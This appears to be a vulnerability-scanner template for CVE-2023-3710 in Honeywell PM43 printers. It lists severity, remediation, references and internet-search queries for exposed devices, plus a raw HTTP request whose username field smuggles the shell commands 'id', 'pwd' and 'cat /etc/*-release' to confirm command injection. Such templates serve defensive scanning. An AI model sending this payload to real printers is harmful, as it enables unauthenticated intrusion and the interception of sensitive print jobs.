id: CVE-2023-3710 info: name: Honeywell PM43 Printers - Command Injection author: win3zz severity: critical description: | Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006) impact: | Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in loadfile.lp, potentially gaining full control of Honeywell PM43 printers and intercepting print jobs containing sensitive documents. remediation: | Update Honeywell PM43 printer firmware to version P10.19.050004 (MR19.5) or later that properly sanitizes input in loadfile.lp and prevents command injection attacks. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-3710 - https://github.com/vpxuser/CVE-2023-3710-POC - https://twitter.com/win3zz/status/1713451282344853634 - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwaresignedP1019050004 - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwarexasignedP1019050004A classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-3710 cwe-id: CWE-77,CWE-20 epss-score: 0.91703 epss-percentile: 0.99696 cpe: cpe:2.3:o:honeywell:pm43_firmware:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: honeywell product: pm43_firmware shodan-query: http.html:"/main/login.lua?pageid=" fofa-query: body="/main/login.lua?pageid=" tags: cve2023,cve,honeywell,pm43,printer,iot,rce,vkev,vuln http: - raw: - | POST /loadfile.lp?pageid=Configure HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=x%0aid;pwd;cat+/etc/*-release%0a&userpassword=1 matchers-condition: and matchers: - type: regex part: body regex: - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)' - type: word part: body words: - 'Release date' - type: status status: - 200 # digest: 490a0046304402204691963a2eee9dfae4207f2880fc420b0513d9d3fdec520069dc3ee6d84bae6b02205f9bf6c1e2f142c5928ff533ca2911e4d3584e5379f0b7a0990f785f63c53236:922c64590222798bb761d5b6d8e72950